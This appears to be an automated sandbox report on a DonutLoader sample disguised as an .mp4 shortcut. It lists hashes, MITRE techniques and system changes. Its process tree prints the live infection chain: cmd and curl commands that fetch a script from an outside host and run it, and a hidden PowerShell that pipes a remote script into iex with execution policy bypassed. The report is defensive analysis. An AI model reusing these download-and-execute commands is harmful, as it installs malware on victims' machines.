donutloader | 20eea6002b3b0a3716ec6687953ae54b50fc77e00241afddb540fbddf7ff3f65

Resubmissions

26/06/2026, 04:27

260626-e3f1rahw6l10

26/06/2026, 04:21

260626-eytfaagy4y10

Analysis

max time kernel
148s
max time network
129s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260618-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260618-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
26/06/2026, 04:27

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
PACK8/teenSnapchatdihhfrombe.mp4.lnk
Size 697B
Sample260626-e3f1rahw6l
SHA256 20eea6002b3b0a3716ec6687953ae54b50fc77e00241afddb540fbddf7ff3f65
MD5 76cb868859b8aadccbde3b360e9e9cee
SHA1 08e29f89ec5b68892a5984ead4813c567aec4b2c
SHA512 0d4aba0feb5c54ac769e152fbfafe5019ea95a096560d2d5400958a7daa13c202b168a519038155e6ddc916d200b301b87eab5b5fe6c9b044c23c1557e78ab3c
TLSH
T10001284032EC1728C3B35B3B4C3956114A26BA45EA22DB2C57D0858CA868204AD29F3A
MD5 SHA1 SHA512 TLSH

Score

10^/10

defense_evasion discovery execution exploit donutloader loader persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
https://racist.pics/license/authcheck

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
https://racist.pics/license/authcheck

Signatures

Family: DonutLoader
DonutLoader is a position-independent code that enables in-memory execution of VBScript, JScript, EXE, DLL files and dotNET assemblies.
loader donutloader

Detects DonutLoader 1 IoCs

loader

resource	yara_rule
behavioral4/memory/5056-123-0x00000208526E0000-0x00000208526FA000-memory.dmp	family_donutloader

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
13	1404	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3612	powershell.exe
1404	powershell.exe
2796	powershell.exe
4564	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	powershell.exe

Possible privilege escalation attempt 6 IoCs

exploit

pid	Process
3744	icacls.exe
1680	icacls.exe
4556	takeown.exe
4256	icacls.exe
2660	icacls.exe
1904	icacls.exe

Deletes itself 1 IoCs

pid	Process
1404	powershell.exe

Executes dropped EXE 5 IoCs

pid	Process
4508	7z.exe
5056	node.exe
3548	PsExec.exe
4432	PSEXESVC.exe
5244	PSEXESVC.exe

Loads dropped DLL 1 IoCs

pid	Process
5056	node.exe

Modifies file permissions 1 TTPs 6 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1680	icacls.exe
4556	takeown.exe
4256	icacls.exe
2660	icacls.exe
1904	icacls.exe
3744	icacls.exe

Drops desktop.ini file(s) 9 IoCs

description	ioc	Process
File opened for modification	C:\Users\Public\Videos\desktop.ini	wmplayer.exe
File opened for modification	C:\Users\Admin\Pictures\desktop.ini	wmplayer.exe
File opened for modification	C:\Users\Admin\Music\desktop.ini	wmplayer.exe
File opened for modification	C:\Users\Admin\Videos\desktop.ini	wmplayer.exe
File opened for modification	C:\Users\Public\Pictures\desktop.ini	wmplayer.exe
File opened for modification	C:\Users\Admin\AppData\Local\Temp\ㅤㅤ\desktop.ini	attrib.exe
File opened for modification	C:\Users\Admin\AppData\Local\Temp\ㅤㅤ\desktop.ini	powershell.exe
File opened for modification	C:\Users\Public\desktop.ini	wmplayer.exe
File opened for modification	C:\Users\Public\Music\desktop.ini	wmplayer.exe

Enumerates connected drives 3 TTPs 46 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\Y:	wmplayer.exe
File opened (read-only)	\??\H:	unregmp2.exe
File opened (read-only)	\??\Q:	unregmp2.exe
File opened (read-only)	\??\R:	unregmp2.exe
File opened (read-only)	\??\H:	wmplayer.exe
File opened (read-only)	\??\S:	wmplayer.exe
File opened (read-only)	\??\I:	unregmp2.exe
File opened (read-only)	\??\X:	unregmp2.exe
File opened (read-only)	\??\J:	wmplayer.exe
File opened (read-only)	\??\L:	wmplayer.exe
File opened (read-only)	\??\T:	wmplayer.exe
File opened (read-only)	\??\X:	wmplayer.exe
File opened (read-only)	\??\B:	unregmp2.exe
File opened (read-only)	\??\A:	wmplayer.exe
File opened (read-only)	\??\Q:	wmplayer.exe
File opened (read-only)	\??\Z:	wmplayer.exe
File opened (read-only)	\??\A:	unregmp2.exe
File opened (read-only)	\??\O:	unregmp2.exe
File opened (read-only)	\??\U:	unregmp2.exe
File opened (read-only)	\??\D:	wmplayer.exe
File opened (read-only)	\??\O:	wmplayer.exe
File opened (read-only)	\??\R:	wmplayer.exe
File opened (read-only)	\??\V:	wmplayer.exe
File opened (read-only)	\??\D:	unregmp2.exe
File opened (read-only)	\??\N:	unregmp2.exe
File opened (read-only)	\??\B:	wmplayer.exe
File opened (read-only)	\??\G:	unregmp2.exe
File opened (read-only)	\??\J:	unregmp2.exe
File opened (read-only)	\??\P:	unregmp2.exe
File opened (read-only)	\??\T:	unregmp2.exe
File opened (read-only)	\??\Z:	unregmp2.exe
File opened (read-only)	\??\K:	wmplayer.exe
File opened (read-only)	\??\M:	wmplayer.exe
File opened (read-only)	\??\W:	wmplayer.exe
File opened (read-only)	\??\M:	unregmp2.exe
File opened (read-only)	\??\V:	unregmp2.exe
File opened (read-only)	\??\I:	wmplayer.exe
File opened (read-only)	\??\N:	wmplayer.exe
File opened (read-only)	\??\P:	wmplayer.exe
File opened (read-only)	\??\U:	wmplayer.exe
File opened (read-only)	\??\K:	unregmp2.exe
File opened (read-only)	\??\L:	unregmp2.exe
File opened (read-only)	\??\S:	unregmp2.exe
File opened (read-only)	\??\W:	unregmp2.exe
File opened (read-only)	\??\Y:	unregmp2.exe
File opened (read-only)	\??\G:	wmplayer.exe

Hide Artifacts: Hidden Window 1 TTPs 1 IoCs

Windows that would typically be displayed when an application carries out an operation can be hidden.

defense_evasion

Hidden Window

T1564.003

pid	Process
3548	PsExec.exe

Power Settings 1 TTPs 2 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
1280	powercfg.exe
5656	powercfg.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

Drops file in Windows directory 22 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\tneysxhk\tneysxhk.tmp	powershell.exe
File created	C:\Windows\SystemTemp\tneysxhk\tneysxhk.dll	powershell.exe
File created	C:\Windows\SystemTemp\tneysxhk\tneysxhk.out	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_3f2onqtm.dsa.psm1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_mqcerz4k.qka.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_qrfsabwe.v1i.ps1	powershell.exe
File created	C:\Windows\PSEXESVC.exe	PsExec.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_cbqvwy1b.qug.ps1	powershell.exe
File created	C:\Windows\SystemTemp\tneysxhk\tneysxhk.err	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_jd0vvgbs.uqk.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_3uudcwyj.akt.psm1	powershell.exe
File created	\??\c:\Windows\SystemTemp\tneysxhk\CSC1D6C9F2CD0284D558D57E43629DBD4A8.TMP	csc.exe
File opened for modification	C:\Windows\SystemTemp\RESDB48.tmp	cvtres.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_lt5jpkig.21v.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_vlhsaud4.qmz.psm1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_gtg1vmia.g3o.psm1	powershell.exe
File opened for modification	C:\Windows\PSEXEC-NYPODJDV-77D4EC0F.key	PSEXESVC.exe
File created	C:\Windows\SystemTemp\tneysxhk\tneysxhk.0.cs	powershell.exe
File created	C:\Windows\SystemTemp\tneysxhk\tneysxhk.cmdline	powershell.exe
File opened for modification	\??\c:\Windows\SystemTemp\tneysxhk\tneysxhk.dll	csc.exe
File created	C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\UPnP Device Host\upnphost\udhisapi.dll	svchost.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_ndwdigct.ncd.psm1	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wmplayer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	unregmp2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	7z.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PsExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PSEXESVC.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PSEXESVC.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-537605601-1362463912-856654178-1000_Classes\Local Settings	cmd.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-537605601-1362463912-856654178-1000\{A1D4EC18-49DE-4A68-9774-D83F89028750}	wmplayer.exe

Suspicious behavior: EnumeratesProcesses 16 IoCs

pid	Process
1404	powershell.exe
1404	powershell.exe
1404	powershell.exe
1404	powershell.exe
3612	powershell.exe
3612	powershell.exe
3612	powershell.exe
3612	powershell.exe
3612	powershell.exe
3612	powershell.exe
2796	powershell.exe
2796	powershell.exe
2796	powershell.exe
4564	powershell.exe
4564	powershell.exe
4564	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	2412	unregmp2.exe
Token: SeCreatePagefilePrivilege	2412	unregmp2.exe
Token: SeShutdownPrivilege	2944	wmplayer.exe
Token: SeCreatePagefilePrivilege	2944	wmplayer.exe
Token: SeDebugPrivilege	1404	powershell.exe
Token: SeShutdownPrivilege	2944	wmplayer.exe
Token: SeCreatePagefilePrivilege	2944	wmplayer.exe
Token: SeIncreaseQuotaPrivilege	1404	powershell.exe
Token: SeSecurityPrivilege	1404	powershell.exe
Token: SeTakeOwnershipPrivilege	1404	powershell.exe
Token: SeLoadDriverPrivilege	1404	powershell.exe
Token: SeSystemProfilePrivilege	1404	powershell.exe
Token: SeSystemtimePrivilege	1404	powershell.exe
Token: SeProfSingleProcessPrivilege	1404	powershell.exe
Token: SeIncBasePriorityPrivilege	1404	powershell.exe
Token: SeCreatePagefilePrivilege	1404	powershell.exe
Token: SeBackupPrivilege	1404	powershell.exe
Token: SeRestorePrivilege	1404	powershell.exe
Token: SeShutdownPrivilege	1404	powershell.exe
Token: SeDebugPrivilege	1404	powershell.exe
Token: SeSystemEnvironmentPrivilege	1404	powershell.exe
Token: SeRemoteShutdownPrivilege	1404	powershell.exe
Token: SeUndockPrivilege	1404	powershell.exe
Token: SeManageVolumePrivilege	1404	powershell.exe
Token: 33	1404	powershell.exe
Token: 34	1404	powershell.exe
Token: 35	1404	powershell.exe
Token: 36	1404	powershell.exe
Token: SeIncreaseQuotaPrivilege	1404	powershell.exe
Token: SeSecurityPrivilege	1404	powershell.exe
Token: SeTakeOwnershipPrivilege	1404	powershell.exe
Token: SeLoadDriverPrivilege	1404	powershell.exe
Token: SeSystemProfilePrivilege	1404	powershell.exe
Token: SeSystemtimePrivilege	1404	powershell.exe
Token: SeProfSingleProcessPrivilege	1404	powershell.exe
Token: SeIncBasePriorityPrivilege	1404	powershell.exe
Token: SeCreatePagefilePrivilege	1404	powershell.exe
Token: SeBackupPrivilege	1404	powershell.exe
Token: SeRestorePrivilege	1404	powershell.exe
Token: SeShutdownPrivilege	1404	powershell.exe
Token: SeDebugPrivilege	1404	powershell.exe
Token: SeSystemEnvironmentPrivilege	1404	powershell.exe
Token: SeRemoteShutdownPrivilege	1404	powershell.exe
Token: SeUndockPrivilege	1404	powershell.exe
Token: SeManageVolumePrivilege	1404	powershell.exe
Token: 33	1404	powershell.exe
Token: 34	1404	powershell.exe
Token: 35	1404	powershell.exe
Token: 36	1404	powershell.exe
Token: SeIncreaseQuotaPrivilege	1404	powershell.exe
Token: SeSecurityPrivilege	1404	powershell.exe
Token: SeTakeOwnershipPrivilege	1404	powershell.exe
Token: SeLoadDriverPrivilege	1404	powershell.exe
Token: SeSystemProfilePrivilege	1404	powershell.exe
Token: SeSystemtimePrivilege	1404	powershell.exe
Token: SeProfSingleProcessPrivilege	1404	powershell.exe
Token: SeIncBasePriorityPrivilege	1404	powershell.exe
Token: SeCreatePagefilePrivilege	1404	powershell.exe
Token: SeBackupPrivilege	1404	powershell.exe
Token: SeRestorePrivilege	1404	powershell.exe
Token: SeShutdownPrivilege	1404	powershell.exe
Token: SeDebugPrivilege	1404	powershell.exe
Token: SeSystemEnvironmentPrivilege	1404	powershell.exe
Token: SeRemoteShutdownPrivilege	1404	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
2944	wmplayer.exe

Suspicious use of WriteProcessMemory 53 IoCs

description	pid	Process	procid_target
PID 3244 wrote to memory of 1708	3244	cmd.exe	90
PID 2944 wrote to memory of 3360	2944	wmplayer.exe	92
PID 3360 wrote to memory of 2412	3360	unregmp2.exe	93
PID 1708 wrote to memory of 4924	1708	cmd.exe	96
PID 1708 wrote to memory of 1404	1708	cmd.exe	97
PID 1404 wrote to memory of 3728	1404	powershell.exe	98
PID 1404 wrote to memory of 916	1404	powershell.exe	99
PID 916 wrote to memory of 256	916	csc.exe	100
PID 1404 wrote to memory of 5156	1404	powershell.exe	101
PID 5156 wrote to memory of 3212	5156	csc.exe	102
PID 1404 wrote to memory of 1296	1404	powershell.exe	103
PID 1296 wrote to memory of 2080	1296	csc.exe	104
PID 1404 wrote to memory of 2632	1404	powershell.exe	105
PID 1404 wrote to memory of 5960	1404	powershell.exe	106
PID 1404 wrote to memory of 712	1404	powershell.exe	149
PID 1404 wrote to memory of 2420	1404	powershell.exe	109
PID 1404 wrote to memory of 4508	1404	powershell.exe	110
PID 1404 wrote to memory of 5428	1404	powershell.exe	111
PID 1404 wrote to memory of 4556	1404	powershell.exe	112
PID 1404 wrote to memory of 4644	1404	powershell.exe	113
PID 1404 wrote to memory of 5776	1404	powershell.exe	114
PID 1404 wrote to memory of 696	1404	powershell.exe	115
PID 1404 wrote to memory of 1648	1404	powershell.exe	116
PID 1404 wrote to memory of 700	1404	powershell.exe	117
PID 1404 wrote to memory of 1564	1404	powershell.exe	118
PID 1404 wrote to memory of 4780	1404	powershell.exe	119
PID 1404 wrote to memory of 5056	1404	powershell.exe	120
PID 1712 wrote to memory of 3612	1712	cmd.exe	125
PID 3612 wrote to memory of 2804	3612	powershell.exe	126
PID 2804 wrote to memory of 4656	2804	csc.exe	127
PID 3612 wrote to memory of 2952	3612	powershell.exe	129
PID 3612 wrote to memory of 3548	3612	powershell.exe	130
PID 4432 wrote to memory of 2796	4432	PSEXESVC.exe	133
PID 2796 wrote to memory of 3852	2796	powershell.exe	136
PID 3852 wrote to memory of 3444	3852	csc.exe	138
PID 2796 wrote to memory of 1280	2796	powershell.exe	139
PID 2796 wrote to memory of 5656	2796	powershell.exe	140
PID 2796 wrote to memory of 4256	2796	powershell.exe	141
PID 2796 wrote to memory of 2660	2796	powershell.exe	142
PID 2796 wrote to memory of 1904	2796	powershell.exe	143
PID 2796 wrote to memory of 3744	2796	powershell.exe	144
PID 2796 wrote to memory of 1680	2796	powershell.exe	145
PID 2796 wrote to memory of 2752	2796	powershell.exe	146
PID 2796 wrote to memory of 5248	2796	powershell.exe	147
PID 2796 wrote to memory of 1548	2796	powershell.exe	148
PID 2796 wrote to memory of 712	2796	powershell.exe	149
PID 2796 wrote to memory of 708	2796	powershell.exe	150
PID 2796 wrote to memory of 5176	2796	powershell.exe	151
PID 2796 wrote to memory of 2012	2796	powershell.exe	153
PID 2796 wrote to memory of 3020	2796	powershell.exe	154
PID 2796 wrote to memory of 5556	2796	powershell.exe	155
PID 2796 wrote to memory of 2996	2796	powershell.exe	156
PID 2796 wrote to memory of 4564	2796	powershell.exe	157

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 7 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
1564	attrib.exe
4780	attrib.exe
4644	attrib.exe
5776	attrib.exe
696	attrib.exe
1648	attrib.exe
700	attrib.exe

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\PACK8\teenSnapchatdihhfrombe.mp4.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:3244
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /v:on /c (start "" ..\ㅤㅤ\teenSnapchatdihhfrombe.mp4)&(curl.exe https://nyx8.net/leaks/a -H "auth: JNPN7CwV" -o C:\Users\Admin\AppData\Local\Temp\a.cmd)&(C:\Users\Admin\AppData\Local\Temp\a.cmd https://nyx8.net 106)
  2⤵
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:1708
- - C:\Windows\system32\curl.exe
    curl.exe https://nyx8.net/leaks/a -H "auth: JNPN7CwV" -o C:\Users\Admin\AppData\Local\Temp\a.cmd
    3⤵
    PID:4924
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "& {param($u,$c); if (-not $u) { exit }; curl.exe \"$u/rAU.ps1\" | iex }" "https://nyx8.net" "106"
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Deletes itself
    - Drops desktop.ini file(s)
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1404
  - - C:\Windows\system32\curl.exe
      "C:\Windows\system32\curl.exe" https://nyx8.net/rAU.ps1
      4⤵
      PID:3728
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\iahfwlkd\iahfwlkd.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:916
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9A95.tmp" "c:\Users\Admin\AppData\Local\Temp\iahfwlkd\CSC2F0102C780647C8BD5E7A5634B38DC5.TMP"
        5⤵
        
        PID:256
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ylg0qyou\ylg0qyou.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:5156
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9C3B.tmp" "c:\Users\Admin\AppData\Local\Temp\ylg0qyou\CSCB1037C70851D4E3A8F562730B7E5163D.TMP"
        5⤵
        
        PID:3212
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\gnn3ztwq\gnn3ztwq.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1296
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9CA8.tmp" "c:\Users\Admin\AppData\Local\Temp\gnn3ztwq\CSCA4967816FCDB4FEC9A13B133E26A49A4.TMP"
        5⤵
        
        PID:2080
  - - C:\Windows\system32\curl.exe
      "C:\Windows\system32\curl.exe" https://nyx8.net/rIF.ps1 -o C:\ProgramData\rIF.ps1
      4⤵
      PID:2632
  - - C:\Windows\system32\curl.exe
      "C:\Windows\system32\curl.exe" https://nyx8.net/invoke.vbs -o C:\ProgramData\invoke.vbs
      4⤵
      PID:5960
  - - C:\Windows\system32\curl.exe
      "C:\Windows\system32\curl.exe" https://nyx8.net/7z.exe -o C:\Users\Admin\AppData\Local\Temp/build\7z.exe
      4⤵
      PID:712
  - - C:\Windows\system32\curl.exe
      "C:\Windows\system32\curl.exe" https://nyx8.net/1.7z -o C:\Users\Admin\AppData\Local\Temp/build\1.7z
      4⤵
      PID:2420
  - - C:\Users\Admin\AppData\Local\Temp\build\7z.exe
      "C:\Users\Admin\AppData\Local\Temp\build\7z.exe" x C:\Users\Admin\AppData\Local\Temp/build\1.7z -phttps://racist.pics/license/authcheck -oC:\Users\Admin\AppData\Local\Temp/build -y
